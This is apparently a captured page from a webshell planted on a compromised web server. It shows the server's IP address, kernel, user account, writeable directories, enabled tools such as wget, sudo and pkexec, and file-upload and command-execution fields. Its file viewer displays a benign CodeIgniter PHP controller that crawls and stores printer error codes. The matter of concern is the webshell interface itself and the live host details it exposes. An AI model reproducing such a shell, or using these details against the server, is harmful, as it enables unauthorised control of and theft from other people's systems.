403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.47
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hocthongminh.net-bk/public_html/webadmin/components/robot/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hocthongminh.net-bk/public_html/webadmin/components/robot/controllers/getpage.php
<?php if (! defined('BASEPATH')) exit('No direct script access allowed');
class getpage extends CI_Controller
{
    protected $_admin_id;
    public $_module_name = "";
	
    function __construct()
	{
        parent::__construct();
        $this->pre_message = "";
        $this->_module_name = $this->router->fetch_module();
		
		$this->permit_library->check_permit(1);
		$this->session->set_userdata(array('Url'=>uri_string())); 
		
        $this->load->model('getpage_model','getpage');
		$this->load->model('getcontent_model','getcontent');
		
		$this->load->library('robot');   
		$this->load->library('crawl');
		$this->load->helper('auto') ;
		$this->load->helper('mail');
    }
	
	//lay tat ca mot thuong hieu, chay khong noi
	/*function index($robot_id=0)
	{
		$rs = $this->getcontent->get_record("auto_config","robot_id",$robot_id); //trit($rs);
		if($rs)
		{
			$x=0 ;
			$arr_link = array();
			$domain = 'https://printcopy.info/';
			
			//tach node cha
			$config_node = split_config($rs->rule_list) ; //trit($config_node);
			//LẤY tất cả các link dòng máy
			for($v=1;$v<$rs->field_name;$v++)	//fiels_name
			{
				$links = $v==1?  $rs->robot_url : $rs->robot_url."&page=".$v ;  //trit($links);
				$arrlink = $this->getlink($links,$config_node[0]) ;  //trit($arrlink);
				//lay noi dung theo tung trang thuong hieu
				for($a=0;$a<count($arrlink);$a++)
				{
					$flag = true ;	//cờ lấy số trang chi tiết
					$numpage = 5 ;
					for($b=1;$b<=$numpage;$b++)
					{
						$i = $a + 1 ;
						$link_code = $i==1? $domain.$arrlink[$a] : $domain.$arrlink[$a]."&page=".$i ; //trit($link_code,1);
						$node_page_detail = split_config($rs->rule_detail) ; //trit($node_page_detail);
						//$html = $this->crawl->getHTML($link_code);	//trit(gettype($html));//var_dump($html); die();//lay conten mã loi list chi tiet
						$html = file_get_html($link_code);
						$arr_content = $this->crawl->getNodes($html,'ul.ercRow'); //trit($arr_content);$node_page_detail[0]
						
						if($flag)
						{
							$flag = false ;
							$numpage = $this->crawl->getNodes($html,$config_node[1]); 
							$numpage = str_replace("from ", "", $numpage[0]) ;		//trit($numpage);
						}
						$lb_modern = get_modern_name($arrlink[$a]);
						$modern_id = $this->get_modern_id($rs->trade_id,$lb_modern);  
						if($arr_content)
						{
							foreach($arr_content as $content) :
								$arr = split_node($content, 'li'); 
								$req = $this->built_form($arr,$rs->catid,$rs->trade_id,$modern_id, $x);	 //trit($req);
								$id = $this->getcontent->save("errcode_temp",$req) ;
								$x = $x+1 ;
							endforeach ;
						}
					}
				}
			}
		}
		
		redirect('robot/cauhinh/index');
	}*/
	
	function modern($robot_id=0)
	{
		$rs = $this->getcontent->get_record("auto_config","robot_id",$robot_id);
		if($rs)
		{
			$parent_rule = split_config($rs->rule_list) ;
			//lay 5 modern theo thuong hiệu
			$list_modern = $this->getpage->get_modern($rs->trade_id,5,0) ;
			
			if($list_modern)
			{
				foreach($list_modern as $rs_modern) :
					$flag = true ;	//cờ lấy số trang chi tiết
					$numpage = 5 ;
					for($i=1;$i<=$numpage;$i++)
					{
						$link_modern = $i==1? $rs_modern->linkto : $rs_modern->linkto."&page=".$i ; //trit($link_code,1);
						$node_page_detail = split_config($rs->rule_detail) ; //trit($node_page_detail);
						$html = file_get_html($link_modern);
						$arr_content = $this->crawl->getNodes($html,'ul.ercRow'); //trit($arr_content);$node_page_detail[0]
						
						if($flag)
						{
							//lay so trang mỗi modern chỉ cần lấy 1 lần
							$numpage = $this->crawl->getNodes($html,$parent_rule[1]); 
							$numpage = str_replace("from ", "", $numpage[0]) ;		//trit($numpage);
							$flag = false ;
						}
						 
						if($arr_content)
						{
							foreach($arr_content as $content) :
								$arr = split_node($content, 'li'); 
								$req = $this->built_form($arr,$rs->catid,$rs->trade_id,$rs_modern->modern_id, 0);	 //trit($req);
								$id = $this->getcontent->save("errcode",$req) ;
							endforeach ;
						}
						//xac nhan modern da lay content
						$this->getpage->upd_modern($rs_modern->modern_id,$numpage);
					}
				endforeach ;
				//$this->modern($robot_id);
				redirect('robot/getpage/modern/'.$robot_id);
			}
			else
			{
				redirect();
			}

		}
	}
	
	function get_modern_id($trade_id,$str)
	{
		$this->db->where("trade_id", $trade_id) ;
		$this->db->like("lb_name", $str) ;
		$query = $this->db->get('modern');
		$rs = $query->row() ;
		if($rs)
			return $rs->modern_id;
		else
			return 0;
	}
	
	function built_form($arr,$catid,$tradeid,$modern_id,$i=0)
	{
		$arr[3] = isset($arr[3])? $arr[3] : '';
		
		$req['nb_order'] 	= $i ;
		$req['err_code'] 	= str_replace('<span class="ercH">Code: </span>','',$arr[0]) ;
		$req['lb_title'] 	= trim($arr[0]) ;
		$req['lb_display'] 	= trim($arr[1]) ;
		$req['lb_desc'] 	= trim($arr[2]) ;
		$req['lb_causes'] 	= trim($arr[2]) ;
		$req['lb_remedy'] 	= trim($arr[3]) ;
		$req['cat_id'] 		= $catid ;
		$req['tradeid'] 	= $tradeid ;
		$req['modern_id'] 	= $modern_id ;
		$req['dt_create'] 	= date("Y-m-d H:i:s") ;
		$req['dt_modify'] 	= date("Y-m-d H:i:s") ;
		$req['bl_active'] 	= 1 ;
		
		return $req;
	}
	
	function getlink($links,$rules)
	{
		$html = $this->crawl->getHTML($links);
		$arr_link = $this->crawl->getLink($html,$rules);  //trit($arr_link);
		return $arr_link ;
	}
	
	/*function index($robot_id=0)
	{
		$rs = $this->getcontent->get_record("auto_config","robot_id",$robot_id); //trit($rs);
		if($rs)
		{
			$config_node = split_config($rs->rule_list) ;
			$filename = ROOT."temp/1.html";
			$arr_content = getContent($filename,$config_node[0]);	//trit($arr_content);
			
			
			$i = 0 ;
			foreach($arr_content as $content) :
				$arr = split_node($content, 'li');
				$req = $this->built_form($arr,$rs->catid,$rs->trade_id,$rs->modern_id, $i);		//trit($req);
				$id = $this->getcontent->save("errcode",$req) ;
				$i = $id ;
			endforeach ;
		}
		
		redirect('robot/cauhinh/index');
	}*/
	
	function success()
	{
		$data['title'] = "Cập nhật thành công" ;
		
		$data['page'] = "success" ;
		$this->load->view("layout/skin", $data);
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit